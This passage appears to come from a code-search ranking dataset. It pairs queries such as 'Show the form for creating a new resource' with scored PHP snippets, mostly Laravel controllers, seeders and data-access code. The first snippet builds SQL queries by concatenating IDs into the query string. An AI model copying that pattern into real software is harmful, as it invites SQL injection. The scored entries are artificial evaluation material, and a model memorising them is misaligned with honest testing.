($row['sex'] == 'm' ? \\wineMateThrift\\ReviewerSex::MALE : \\wineMateThrift\\ReviewerSex::FEMALE);\n\t\t $data->photoUrl = $row['head_image_url'];\n\t\t $data->thirdParty = $row['third_party'];\n $data->reviewContent = $review['reviewContent'];\n $data->rate = 0.0;\n $elapsedSeconds = time() - $review['timeStamp'];\n if ($elapsedSeconds > 0) {\n $data->timeElapsed = secs_to_h($elapsedSeconds);\n }\n }\n $result[] = $data;\n $p2 ++;\n }\n }\n }\n\n if($p1 == count($score_array)) {\n while ($p2 < count($review_array)) {\n $data = new \\wineMateThrift\\WineReviewAndRatingData;\n $review = $review_array[$p2];\n $sql = \"SELECT user_name, first_name, sex, head_image_url, third_party FROM user_account_info WHERE user_id = \".$review['reviewerId'];\n $data->userId = $review['reviewerId'];\n $sql = $conn->query($sql);\n if($sql->num_rows > 0) {\n $row = $sql->fetch_assoc();\n $data->reviewerUserName = $row['user_name'];\n\t\t$data->reviewerFirstName = $row['first_name'];\n $data->sex = ($row['sex'] == 'm' ? \\wineMateThrift\\ReviewerSex::MALE : \\wineMateThrift\\ReviewerSex::FEMALE);\n\t\t$data->photoUrl = $row['head_image_url'];\n\t\t$data->thirdParty = $row['third_party'];\n $data->reviewContent = $review['reviewContent'];\n $data->rate = 0.0;\n $elapsedSeconds = time() - $review['timeStamp'];\n if ($elapsedSeconds > 0) {\n $data->timeElapsed = secs_to_h($elapsedSeconds);\n }\n }\n $result[] = $data;\n $p2 ++;\n }\n } else {\n while ($p1 < count($score_array)) {\n $score = $score_array[$p1];\n $data = new \\wineMateThrift\\WineReviewAndRatingData;\n $sql = \"SELECT user_name, first_name, sex, head_image_url, third_party FROM user_account_info WHERE user_id = \".$score['reviewerId'];\n $data->userId = $score['reviewerId'];\n $sql = $conn->query($sql);\n if($sql->num_rows > 0) {\n $row = $sql->fetch_assoc();\n $data->reviewerUserName = $row['user_name'];\n\t\t$data->reviewerFirstName = $row['first_name'];\n $data->sex = ($row['sex'] == 'm' ? \\wineMateThrift\\ReviewerSex::MALE : \\wineMateThrift\\ReviewerSex::FEMALE);\n\t\t$data->photoUrl = $row['head_image_url'];\n\t\t$data->thirdParty = $row['third_party'];\n $data->reviewContent = '';\n $data->rate = $score['score'];\n $elapsedSeconds = time() - $score['timeStamp'];\n if ($elapsedSeconds > 0) {\n $data->timeElapsed = secs_to_h($elapsedSeconds);\n }\n }\n $result[] = $data;\n $p1 ++;\n }\n }\n return $result;\n}", "title": "" }, { "docid": "c8e22b290152c812f3f561c3c81595f7", "score": "0.47320965", "text": "public function createNew($versionComments)\n {\n $app = Facade::getFacadeApplication();\n $db = $app->make('database')->connection();\n $highestVID = $db->fetchColumn('select max(cvID) from CollectionVersions where cID = ?', array(\n $this->cID,\n ));\n $newVID = ($highestVID === false) ? 1 : ($highestVID + 1);\n $c = Page::getByID($this->cID, $this->cvID);\n\n $u = new User();\n $versionComments = (!$versionComments) ? t(\"New Version %s\", $newVID) : $versionComments;\n $cvIsNew = 1;\n if ($c->getPageTypeHandle() === STACKS_PAGE_TYPE) {\n $cvIsNew = 0;\n }\n $dh = $app->make('helper/date');\n $v = array(\n $this->cID,\n $newVID,\n $c->getCollectionName(),\n $c->getCollectionHandle(),\n $c->getCollectionDescription(),\n $c->getCollectionDatePublic(),\n $dh->getOverridableNow(),\n $versionComments,\n $u->getUserID(),\n $cvIsNew,\n $this->pThemeID,\n $this->pTemplateID,\n null,\n );\n // important: cvPublishDate used to be the same for the new version as it is for the current , but it made it\n // impossible to create a version that wasn't scheduled once you scheduled a version so I'm turning it off for\n // now - AE\n\n $q = \"insert into CollectionVersions (cID, cvID, cvName, cvHandle, cvDescription, cvDatePublic, \" .\n \"cvDateCreated, cvComments, cvAuthorUID, cvIsNew, pThemeID, pTemplateID, cvPublishDate) \" .\n \"values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\";\n\n $db->executeQuery($q, $v);\n\n $category = $this->getObjectAttributeCategory();\n $values = $category->getAttributeValues($this);\n $em = $app->make('Doctrine\\ORM\\EntityManagerInterface');\n\n foreach ($values as $value) {\n $value = clone $value;\n /*\n * @var $value PageValue\n */\n $value->setVersionID($newVID);\n $em->persist($value);\n }\n $em->flush();\n\n $q3 = \"select faID from CollectionVersionFeatureAssignments where cID = ? and cvID = ?\";\n $v3 = array(\n $c->getCollectionID(),\n $this->getVersionID(),\n );\n $r3 = $db->executeQuery($q3, $v3);\n while ($row3 = $r3->fetch()) {\n $v3 = array(\n intval($c->getCollectionID()),\n $newVID,\n $row3['faID'],\n );\n $db->query(\"insert into CollectionVersionFeatureAssignments (cID, cvID, faID) values (?, ?, ?)\", $v3);\n }\n\n $q4 = \"select pThemeID, scvlID, preset, sccRecordID from CollectionVersionThemeCustomStyles where cID = ? and cvID = ?\";\n $v4 = array(\n $c->getCollectionID(),\n $this->getVersionID(),\n );\n $r4 = $db->executeQuery($q4, $v4);\n while ($row4 = $r4->fetch()) {\n $v4 = array(\n (int) $c->getCollectionID(),\n $newVID,\n $row4['pThemeID'],\n $row4['scvlID'],\n $row4['preset'],\n $row4['sccRecordID'],\n );\n $db->executeQuery(\"insert into CollectionVersionThemeCustomStyles (cID, cvID, pThemeID, scvlID, preset, sccRecordID) values (?, ?, ?, ?, ?, ?)\", $v4);\n }\n\n $nv = static::get($c, $newVID);\n\n $ev = new Event($c);\n $ev->setCollectionVersionObject($nv);\n\n $app->make('director')->dispatch('on_page_version_add', $ev);\n\n $nv->refreshCache();\n // now we return it\n return $nv;\n }", "title": "" }, { "docid": "3a60936e04627ab965ae0eb8e1b69c8a", "score": "0.47297174", "text": "public function run()\n {\n $model = new Review;\n $model->user_id = 2;\n $model->name = '鶏そば 小箱';\n $model->comment = 'とても美味しかった';\n $model->save();\n }", "title": "" }, { "docid": "4e69a99eeaec938b696fcf8b7902538d", "score": "0.472935", "text": "public function buildDomainObject($row) {\r\n $comment = new Comment();\r\n $comment->setId($row['com_id']);\r\n $comment->setContent($row['com_content']);\r\n $comment->setDate($row['com_date']);\r\n if (array_key_exists('billet_id', $row)) {\r\n $idBillet = $row['billet_id'];\r\n $billet = $this->billetDAO->read($idBillet);\r\n $comment->setBillet($billet);\r\n }\r\n if (array_key_exists('user_id', $row)) {\r\n $userId = $row['user_id'];\r\n $author = $this->userDAO->read($userId);\r\n $comment->setAuthor($author);\r\n }\r\n return $comment;\r\n }", "title": "" }, { "docid": "5374f7c48a37e6313ba9df3ca9e33421", "score": "0.47253808", "text": "public static function createUserRatingsModel();", "title": "" }, { "docid": "eef0b604f38c7a5945f9a8d48d6ebe3e", "score": "0.47247562", "text": "public function run()\n {\n DB::table('reviews')->insert([\n 'title' => 'Nursing Care',\n 'comment' => 'Lorem ipsum, dolor sit amet consectetur adipisicing elit. Placeat, ipsa delectus. Dolor deserunt impedit necessitatibus, iusto mollitia ducimus iure aliquam consequuntur sapiente vel praesentium expedita architecto dolores quia tenetur atque.',\n 'views' => '40',\n 'star' => 5,\n 'member_id' => '1',\n 'tag_id' => '1',\n ]);\n \n DB::table('reviews')->insert([\n 'title' => 'Very Resonable',\n 'comment' => 'Lorem ipsum, dolor sit amet consectetur adipisicing elit. Placeat, ipsa delectus. Dolor deserunt impedit necessitatibus, iusto mollitia ducimus iure aliquam consequuntur sapiente vel praesentium expedita architecto dolores quia tenetur atque.',\n 'views' => '40',\n 'star' => 5,\n 'member_id' => '1',\n 'tag_id' => '1',\n ]);\n\n DB::table('reviews')->insert([\n 'title' => 'Doctors are Good',\n 'comment' => 'Lorem ipsum, dolor sit amet consectetur adipisicing elit. Placeat, ipsa delectus. Dolor deserunt impedit necessitatibus, iusto mollitia ducimus iure aliquam consequuntur sapiente vel praesentium expedita architecto dolores quia tenetur atque.',\n 'views' => '40',\n 'star' => 5,\n 'member_id' => '1',\n 'tag_id' => '1',\n ]);\n\n DB::table('reviews')->insert([\n 'title' => 'Laboratary',\n 'comment' => 'Lorem ipsum, dolor sit amet consectetur adipisicing elit. Placeat, ipsa delectus. Dolor deserunt impedit necessitatibus, iusto mollitia ducimus iure aliquam consequuntur sapiente vel praesentium expedita architecto dolores quia tenetur atque.',\n 'views' => '40',\n 'star' => 5,\n 'member_id' => '1',\n 'tag_id' => '1',\n ]);\n\n DB::table('reviews')->insert([\n 'title' => 'Nursing Care',\n 'comment' => 'Lorem ipsum, dolor sit amet consectetur adipisicing elit. Placeat, ipsa delectus. Dolor deserunt impedit necessitatibus, iusto mollitia ducimus iure aliquam consequuntur sapiente vel praesentium expedita architecto dolores quia tenetur atque.',\n 'views' => '40',\n 'star' => 5,\n 'member_id' => '1',\n 'tag_id' => '1',\n ]);\n\n DB::table('reviews')->insert([\n 'title' => 'Hospitality',\n 'comment' => 'Lorem ipsum, dolor sit amet consectetur adipisicing elit. Placeat, ipsa delectus. Dolor deserunt impedit necessitatibus, iusto mollitia ducimus iure aliquam consequuntur sapiente vel praesentium expedita architecto dolores quia tenetur atque.',\n 'views' => '40',\n 'star' => 5,\n 'member_id' => '1',\n 'tag_id' => '1',\n ]);\n\n DB::table('reviews')->insert([\n 'title' => 'Hygine',\n 'comment' => 'Lorem ipsum, dolor sit amet consectetur adipisicing elit. Placeat, ipsa delectus. Dolor deserunt impedit necessitatibus, iusto mollitia ducimus iure aliquam consequuntur sapiente vel praesentium expedita architecto dolores quia tenetur atque.',\n 'views' => '40',\n 'star' => 5,\n 'member_id' => '1',\n 'tag_id' => '1',\n ]);\n\n DB::table('reviews')->insert([\n 'title' => 'Paitent Care',\n 'comment' => 'Lorem ipsum, dolor sit amet consectetur adipisicing elit. Placeat, ipsa delectus. Dolor deserunt impedit necessitatibus, iusto mollitia ducimus iure aliquam consequuntur sapiente vel praesentium expedita architecto dolores quia tenetur atque.',\n 'views' => '40',\n 'star' => 5,\n 'member_id' => '1',\n 'tag_id' => '1',\n ]);\n }", "title": "" }, { "docid": "72f1f220e78df426b6a14d4c68f070c5", "score": "0.47120023", "text": "public function store(Request $request)\n {\n //\n $data = $this->reviewTransformer->requestAdapter();\n\n $rules=[\n ReviewModel::USER_ID=>'required',\n ReviewModel::PACKAGE_ID=>'required',\n ReviewModel::COMMENT=>'required',\n ReviewModel::WOULD_RECONMMEND_RATING=>'required',\n ReviewModel::SELLER_COMMUNICATION_RATING=>'required',\n ReviewModel::SELLER_AS_DESCRIBED_RATING=>'required',\n ];\n $validator=Validator::make($data,$rules,[\n ReviewModel::USER_ID.'.required'=>'The user id is required try user_id=<user_id>',\n ReviewModel::PACKAGE_ID.'.required'=>'The package id is required try package_id=<package_id>',\n ReviewModel::COMMENT.'.required'=>'The comment is required try comment=<comment>',\n ReviewModel::SELLER_AS_DESCRIBED_RATING.'.required'=>'seller as described rating is required rating is required try seller_as_described_rating=<rating>',\n ReviewModel::SELLER_COMMUNICATION_RATING.'.required'=>'seller communication rating rating is required rating is required try seller_communication_rating=<rating>',\n ReviewModel::WOULD_RECONMMEND_RATING.'.required'=>'would recommend rating is required try would_recommend_rating=<rating>'\n ]);\n\n if($validator->fails()){\n return $this->error(call_user_func('App\\libraries\\Messages::showErrorMessages',$validator),422);\n }\n $review=new ReviewModel($data);\n try{\n $review->save();\n }catch(Exception $e){\n return $this->error('some unknown error occurred',520);\n }\n return $this->success();\n\n }", "title": "" } ]
06b048169d6000dd8f2954c77b1ec598
Show the form for creating a new resource.
[ { "docid": "2a46fdbfc8cb01983bb03691388f0169", "score": "0.0", "text": "public function create()\n {\n //\n }", "title": "" } ]
[ { "docid": "c1a53014b3e8009982c57be36ab41329", "score": "0.75948673", "text": "public function create()\n {\n return $this->showForm('create');\n }", "title": "" }, { "docid": "c1a53014b3e8009982c57be36ab41329", "score": "0.75948673", "text": "public function create()\n {\n return $this->showForm('create');\n }", "title": "" }, { "docid": "4410c37acc7f709e86ccc730cb542643", "score": "0.75863165", "text": "public function create()\n {\n return view('admin.resources.create');\n }", "title": "" }, { "docid": "a382b311163023b1b09a9a260d21538b", "score": "0.7577412", "text": "public function create(){\n\n return view('resource.create');\n }", "title": "" }, { "docid": "2bc399e3e37eaad09b15e38f2a68e11a", "score": "0.75727344", "text": "public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}", "title": "" }, { "docid": "200ac8848d121779daea1c7ace64cde0", "score": "0.7500887", "text": "public function create()\n {\n return \"Display a form for creating a new catalogue\";\n }", "title": "" }, { "docid": "4273a8d14102748486694e85db479a73", "score": "0.7434847", "text": "public function newAction()\n {\n $entity = new Resource();\n $current = $this->get('security.context')->getToken()->getUser();\n $entity->setMember($current);\n $form = $this->createCreateForm($entity);\n\n return array(\n 'nav_active'=>'admin_resource',\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "title": "" }, { "docid": "1029b6ae8b4cf5d716f0d3fc2f8598d2", "score": "0.7433956", "text": "public function create()\n {\n return view ('forms.create');\n }", "title": "" }, { "docid": "003fc3feb8b261af715ecd7bd61a619b", "score": "0.73892003", "text": "public function create ()\n {\n return view('forms.create');\n }", "title": "" }, { "docid": "91552bc8bcd006b5917956f0fb3d5b89", "score": "0.73531085", "text": "public function create()\n\t{\n\t\treturn view('faith.form');\n\t}", "title": "" }, { "docid": "c7748437caeb8425cc313369131b5847", "score": "0.73364776", "text": "public function create(NebulaResource $resource): View\n {\n $this->authorize('create', $resource->model());\n\n return view('nebula::resources.create', [\n 'resource' => $resource,\n ]);\n }", "title": "" }, { "docid": "a5ad69b940d8548b37e7b6672ede609f", "score": "0.73125", "text": "public function create()\n {\n return view(\"request_form.form\");\n }", "title": "" }, { "docid": "1e90420f95533b3e78ae228f42aaa921", "score": "0.7296102", "text": "public function create()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.create\")) {\n $view = \"admin.{$this->name}.create\";\n } else {\n $view = 'admin.includes.actions.create';\n }\n\n /* Show the form for creating a new resource. */\n return view($view)\n ->with('name', $this->name);\n }", "title": "" }, { "docid": "d9eabb6e688415b42a581fbf4d716eba", "score": "0.7281891", "text": "public function newAction()\n\t{\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => 'Ajouter une nouvelle &eacute;cole'\n\t\t) ) );\n\t}", "title": "" }, { "docid": "4c4280f6d84a14acb11fe84c3d533fca", "score": "0.72741455", "text": "public function create()\n {\n return view($this->forms . '.create');\n }", "title": "" }, { "docid": "72b53b9744be9b26964bb2d7df983288", "score": "0.72424185", "text": "public function create()\n {\n return view('restful.add');\n }", "title": "" }, { "docid": "ae2dae6d70174f64972f62bfef3beec9", "score": "0.7229325", "text": "public function create()\n {\n $resource = (new AclResource())->AclResource;\n\n //dd($resource);\n return view('Admin.acl.role.form', [\n 'resource' => $resource\n ]);\n }", "title": "" }, { "docid": "2bd4a45e5a2f3450957e331f3c9cbe9e", "score": "0.7226713", "text": "public function create()\n {\n return view('admin.createform');\n }", "title": "" }, { "docid": "807d372107429e3ef6b5d3ace77f044e", "score": "0.7187349", "text": "public function create()\n {\n return view('admin.forms.create');\n }", "title": "" }, { "docid": "894343381f0ae42067564426b380dec6", "score": "0.7179176", "text": "public function create()\n {\n return view('backend.student.form');\n }", "title": "" }, { "docid": "54e432df7faa28bb875e58bcd9563b2b", "score": "0.7174283", "text": "public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Nuevo');\n\n $entity = $this->getManager()->create();\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "title": "" }, { "docid": "540a53a248ba67bdca77e9032bbb635f", "score": "0.7150356", "text": "public function create()\n {\n return view('client.form');\n }", "title": "" }, { "docid": "78e0e56634b1ed16a546edefec855b52", "score": "0.71444064", "text": "public function create()\n {\n // Nos regresa la vista del formulario\n return view('project.form');\n }", "title": "" }, { "docid": "c5c4532c985ebd9dc75cacbea31ac33b", "score": "0.71442676", "text": "public function create()\n {\n return view('Form');\n }", "title": "" }, { "docid": "76f6369e9637fe0db8316e64e7c817c4", "score": "0.713498", "text": "public function newAction(){\n \n $entity = new Resourceperson();\n $form = $this->createAddForm($entity);\n\n \n return $this->render('ABCRspBundle:rsp:add.html.twig',array('entity'=>$entity,'form'=> $form->createView()));\n }", "title": "" }, { "docid": "7165aade767409b1b22203b2d660635c", "score": "0.71283126", "text": "public function createForm()\n\t{\n\t\treturn view('post.new');\n\t}", "title": "" }, { "docid": "1f30b87a2cd300703acd38d27eff1400", "score": "0.7123691", "text": "public function create()\n {\n return view('admin.form.create', ['form' => new Form]);\n }", "title": "" }, { "docid": "fa84f7150b87a66588bfc89685d8fe4c", "score": "0.71158516", "text": "public function create()\n {\n return view('form');\n }", "title": "" }, { "docid": "fa84f7150b87a66588bfc89685d8fe4c", "score": "0.71158516", "text": "public function create()\n {\n return view('form');\n }", "title": "" }, { "docid": "fa84f7150b87a66588bfc89685d8fe4c", "score": "0.71158516", "text": "public function create()\n {\n return view('form');\n }", "title": "" }, { "docid": "51cf77cf329e4426a010f9aec4d19519", "score": "0.7112176", "text": "public function create()\n {\n $title = $this->title;\n $subtitle = \"Adicionar cliente\";\n\n return view('admin.clients.form', compact('title', 'subtitle'));\n }", "title": "" }, { "docid": "10bee9a2841dc1d7b79cb8ae2b760c18", "score": "0.7094388", "text": "public function create()\n {\n return view('backend.schoolboard.addform');\n }", "title": "" }, { "docid": "efbcb43f0aa01d07c5a8a46e59e07c86", "score": "0.7085711", "text": "public function create()\n\t{\n\t\treturn view('info.forms.createInfo');\n\t}", "title": "" }, { "docid": "c27004d00e3f9afb85f74623ec456ca9", "score": "0.708025", "text": "public function create()\n {\n //\n return view('form');\n }", "title": "" }, { "docid": "b3163df34854785c2d023a013de2d94c", "score": "0.70800644", "text": "public function create()\n {\n return view('rests.create');\n }", "title": "" }, { "docid": "2b41dd9ed0cf1461dd65f8e05b0a94a1", "score": "0.70571953", "text": "public function create()\n {\n return $this->showForm();\n }", "title": "" }, { "docid": "2b41dd9ed0cf1461dd65f8e05b0a94a1", "score": "0.70571953", "text": "public function create()\n {\n return $this->showForm();\n }", "title": "" }, { "docid": "8d95ddac87d4643ea4961ea4930b97ea", "score": "0.70556754", "text": "public function create()\n {\n return view(\"Add\");\n }", "title": "" }, { "docid": "de1869625a5e3279594395f0c4afed92", "score": "0.70396435", "text": "public function create(){\n return view('form.create');\n }", "title": "" }, { "docid": "f2881024deb6722d08b618c58af9dec8", "score": "0.7039549", "text": "public function create()\n {\n // Show the page\n return view('admin.producer.create_edit');\n }", "title": "" }, { "docid": "094370e5eec375072adc7d142002f7c3", "score": "0.7036275", "text": "public function create()\n {\n\n return view('control panel.student.add');\n\n }", "title": "" }, { "docid": "90c69861985934d05478b03d16057a83", "score": "0.703468", "text": "public function newAction() {\n\t\t\n\t\t$this->view->form = $this->getForm ( \"/admin/invoices/process\" );\n\t\t$this->view->title = $this->translator->translate(\"New Invoice\");\n\t\t$this->view->description = $this->translator->translate(\"Create a new invoice using this form.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"#\", \"label\" => $this->translator->translate('Save'), \"params\" => array('css' => null,'id' => 'submit')),\r\n\t\t\t\t\t\t\t array(\"url\" => \"/admin/invoices/list\", \"label\" => $this->translator->translate('List'), \"params\" => array('css' => null)));\n\t\t$this->render ( 'applicantform' );\n\t}", "title": "" }, { "docid": "b5af1b1f4980e00d0adea5611f6a16f7", "score": "0.70305896", "text": "public function create()\n {\n $data['action'] = 'pengiriman.store';\n return view('pengiriman.form', $data);\n }", "title": "" }, { "docid": "6039f43b38d3c6d347e4435587e3a07f", "score": "0.7027638", "text": "public function create()\n {\n return $this->cView(\"form\");\n }", "title": "" }, { "docid": "7000c38175570bf727255c3e8e4f9cba", "score": "0.70265305", "text": "public function newAction()\n {\n // Création de l'entité et du formulaire.\n $client = new Client();\n $formulaire = $this->createForm(new ClientType(), $client);\n \n \n \n // Génération de la vue.\n return $this->render('KemistraMainBundle:Client:new.html.twig',\n array('formulaire' => $formulaire->createView()));\n }", "title": "" }, { "docid": "911798f81446b032c9928690164d1e88", "score": "0.70199823", "text": "public function create()\n {\n return view(\"dresses.form\");\n }", "title": "" }, { "docid": "a8fd04c997808f0e9dd707ba440cb9a4", "score": "0.7018007", "text": "public function create()\n\t{\n\t\treturn View::make('new_entry');\n\t}", "title": "" }, { "docid": "4826caf3ada08e4e7f25a0b3ae74f05a", "score": "0.7004984", "text": "public function createAction()\n {\n// $this->view->form = $form;\n }", "title": "" }, { "docid": "cb6dbca8a8b26b57ddf1e738c50cfdb6", "score": "0.7003889", "text": "public function create()\n {\n return view('bank_account.form', ['mode' => 'create']);\n }", "title": "" }, { "docid": "30efc97d089d7452b71923fc1325c24b", "score": "0.7000935", "text": "public function create()\n {\n return view('fish.form');\n }", "title": "" }, { "docid": "1b62c86be5f3840fa2723173eb331b82", "score": "0.69973785", "text": "public function create()\n {\n return view('users.forms.create');\n }", "title": "" }, { "docid": "f624e542157f2a5697864efa85c44908", "score": "0.6994679", "text": "public function create()\n {\n $this->setFormFields($this->getCreateFormFields());\n $form = $this->getCreateForm();\n\n return view($this->getViewName('create'), [\n 'crudSlug' => $this->slug,\n 'form' => $form,\n ]);\n }", "title": "" }, { "docid": "645f7ceaa26e24597d62cd1e1f00fd57", "score": "0.6993764", "text": "public function create()\n\t{\n\t\treturn view('admin.estadoflete.new');\n\t}", "title": "" }, { "docid": "b5274db7f223010ba13b3fb3ac5d8408", "score": "0.6989918", "text": "public function create()\n {\n $person = new Person;\n return view('contents.personform')->with(compact('person') );\n }", "title": "" }, { "docid": "dc37ca952e5aa8737ac79892a422cfea", "score": "0.6986989", "text": "public function createAction(){\n \t$this->view->placeholder('title')->set('Create');\n \t$this->_forward('form');\n }", "title": "" }, { "docid": "bff1360b669526d70f66f72de9b76539", "score": "0.6966502", "text": "public function create()\n {\n Gate::authorize('app.products.create');\n\n return view('backend.products.form');\n }", "title": "" }, { "docid": "69a0b21fb3b59fd1b7774d63afaf03c5", "score": "0.69656384", "text": "public function create()\n {\n return view('essentials::create');\n }", "title": "" }, { "docid": "ea30089b05638deecfcdcc640118738c", "score": "0.69564354", "text": "public function create()\n {\n return view('student.add');\n }", "title": "" }, { "docid": "eac67c9622712586377b66a2ff564132", "score": "0.69518244", "text": "public function create()\n\t{\n\t\treturn view('loisier/create');\n\t}", "title": "" }, { "docid": "be6ad27859db471093b0e5b2b09e5ffa", "score": "0.6951109", "text": "public function create()\n {\n return view('url.form');\n }", "title": "" }, { "docid": "4ee11638c71a6ea969bb422d3a513bda", "score": "0.6947306", "text": "public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "title": "" }, { "docid": "83e29d54fc108190b1ca75caea24b5d6", "score": "0.69444615", "text": "public function newAction()\n {\n $entity = new Chofer();\n $form = $this->createForm(new ChoferType(), $entity, ['user' => $this->getUser()]);\n\n return $this->render('ChoferesBundle:Chofer:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'chofer',\n ));\n }", "title": "" }, { "docid": "ce097a7f86eacaa44dea17f0ad57e5af", "score": "0.69423944", "text": "public function create()\n\t{\n\t\treturn View::make('crebos.create');\n\t}", "title": "" }, { "docid": "63235ca26b90700eb46b16522a29a31a", "score": "0.6941156", "text": "public function create() : View\n {\n $fieldset = $this->menuFieldset();\n\n return $this->view('create', [\n 'title' => trans('addons.Aardwolf::titles.create'),\n 'data' => [],\n 'fieldset' => $fieldset->toPublishArray(),\n 'suggestions' => [],\n 'submitUrl' => route('aardwolf.postCreate')\n ]);\n }", "title": "" }, { "docid": "d2dfb39011e7751d334f3b102132bcc0", "score": "0.6937871", "text": "public function create()\n {\n return view('libro.create');\n }", "title": "" }, { "docid": "d2dfb39011e7751d334f3b102132bcc0", "score": "0.6937871", "text": "public function create()\n {\n return view('libro.create');\n }", "title": "" }, { "docid": "568c63d802970802d43c670f348a8248", "score": "0.6936686", "text": "public function newAction()\n {\n $entity = new Species();\n $form = $this->createForm(new SpeciesType(), $entity);\n\n return $this->render('InfectBackendBundle:Species:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "title": "" }, { "docid": "86b686b6be4369d69b332035b9a9579c", "score": "0.69345254", "text": "public function create()\n {\n return view('crud/add'); }", "title": "" }, { "docid": "3d16ba2e8beea5bc83a97cb880a9f9da", "score": "0.69318026", "text": "public function create()\n\t{\n\t\treturn View::make('supplier.create');\n\t}", "title": "" }, { "docid": "78e9486c325ba462b19adda0de272401", "score": "0.692827", "text": "public function newAction()\n {\n $entity = new Company();\n $form = $this->createForm(new CompanyType(), $entity);\n\n return $this->render('SiteSavalizeBundle:Company:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "title": "" }, { "docid": "94c3779c0a1265eecd22d4385bc1a934", "score": "0.69263744", "text": "public function create()\n {\n return view(\"List.form\");\n }", "title": "" }, { "docid": "c05c0fad6b86bafa1a0ffd1ca41d8a55", "score": "0.69242257", "text": "public function index_onCreateForm()\n\t{\n\t\tparent::create();\n\t\treturn $this->makePartial('create');\n\t}", "title": "" }, { "docid": "c51fdc706a6bfd79c2e1ca2912a1434f", "score": "0.6918349", "text": "public function create()\n {\n //load create form\n return view('products.create');\n }", "title": "" }, { "docid": "943358ea83a0abf7110deef8982f670d", "score": "0.6915889", "text": "public function create()\n {\n return view('article.addform');\n }", "title": "" }, { "docid": "5423c52c2321e0ddafbf93b55fde7689", "score": "0.6912884", "text": "public function create()\n {\n // Mengarahkan ke halaman form\n return view('buku.form');\n }", "title": "" }, { "docid": "878980bfa045be8eca4bad020abc5d6b", "score": "0.691146", "text": "public function create()\n\t{\n\t\t// load the create form (app/views/material/create.blade.php)\n\t\t$this->layout->content = View::make('material.create');\n\t}", "title": "" }, { "docid": "847110acc021dbc5428f114892048164", "score": "0.69103104", "text": "public function create()\n {\n return view('saldo.form');\n }", "title": "" }, { "docid": "38dc65c51f50b512e830025272aee8c9", "score": "0.69085974", "text": "public function create()\n\t\t{\n\t\t\treturn view('kuesioner.create');\n\t\t}", "title": "" }, { "docid": "71762e87e905a248387bd0eac328ea8a", "score": "0.69040126", "text": "public function view_create_questioner_form() {\n \t// show all questioner\n \t// send questioner to form\n \treturn view(\"create_questioner\");\n }", "title": "" }, { "docid": "1bfbbb63771571819ef62035e977dcd9", "score": "0.69014287", "text": "public function newAction() {\n $entity = new Question();\n $form = $this->createCreateForm($entity);\n\n return $this->render('CdlrcodeBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "title": "" }, { "docid": "0dcbd3dcfb7f80f9e64b710cfe60e77b", "score": "0.69012105", "text": "public function create()\n {\n $data['companies'] = Company::select('id', 'name')->where('status', 1)->orderBy('id', 'desc')->get();\n return view('admin.outlet.outlet_form', $data);\n }", "title": "" }, { "docid": "0ff401bbe9c3f43249bbe6cc8081a963", "score": "0.6900397", "text": "public function create()\n {\n return view('admin.inverty.add');\n }", "title": "" }, { "docid": "b026faf0a320028862c1ad2d3bb9025a", "score": "0.68951064", "text": "public function create()\n {\n return view('Libro.create');\n }", "title": "" }, { "docid": "7e9bc89349235582540fd9e5fef9dbbb", "score": "0.6893521", "text": "public function create()\n {\n $title = trans('entry_mode.new');\n return view('layouts.create', compact('title'));\n }", "title": "" }, { "docid": "1b909d974761b249842d1adf1e84fa31", "score": "0.68932164", "text": "public function create()\n {\n $breadcrumb='car.create';\n return view('admin.partials.cars.form', compact('breadcrumb'));\n }", "title": "" }, { "docid": "ef4a16e2e4036ea15c66bada12e01b16", "score": "0.6891899", "text": "public function create()\n {\n return view(\"familiasPrograma.create\");\n }", "title": "" }, { "docid": "a43ba09f835dbd27d4a3433e6207db17", "score": "0.6891616", "text": "public function create()\n {\n return view('admin.car.create');\n }", "title": "" }, { "docid": "a43ba09f835dbd27d4a3433e6207db17", "score": "0.6891616", "text": "public function create()\n {\n return view('admin.car.create');\n }", "title": "" }, { "docid": "2588f5840e59634edceb01654f4d7a91", "score": "0.6889246", "text": "public function create()\n\t{\n\t\treturn View::make('perusahaans.create');\n\t}", "title": "" }, { "docid": "bdb0161d2f2f44cdaea93bf890a4c02e", "score": "0.68880934", "text": "public function create()\n {\n return view(\"create\");\n }", "title": "" }, { "docid": "5ada95495a3e9a254b79e8c70f274d97", "score": "0.6887128", "text": "public function create()\n\t{\n //echo 'show form';\n\t\treturn View::make('gaans.create');\n\t}", "title": "" }, { "docid": "074b6466da7d7a38ad6f093bacefd057", "score": "0.6884732", "text": "public function create()\n {\n $title = trans('dormitorybed.new');\n $this->generateParams();\n\n return view('layouts.create', compact('title'));\n }", "title": "" }, { "docid": "ebf8f32acbc00c6c98f44086fb506407", "score": "0.68822503", "text": "public function create()\n {\n return view('forming');\n }", "title": "" }, { "docid": "b752ab61e98965233583e0eb2216d1cc", "score": "0.68809193", "text": "public function formNew() {\n $this->data->options = array(\n 'RJ' => 'Rio de Janeiro',\n 'MG' => 'Minas Gerais',\n 'SP' => 'São Paulo',\n 'ES' => 'Espírito Santo',\n 'BA' => 'Bahia',\n 'RS' => 'Rio Grande do Sul'\n );\n $this->data->action = \"@exemplos/pessoa/save\";\n $this->render();\n }", "title": 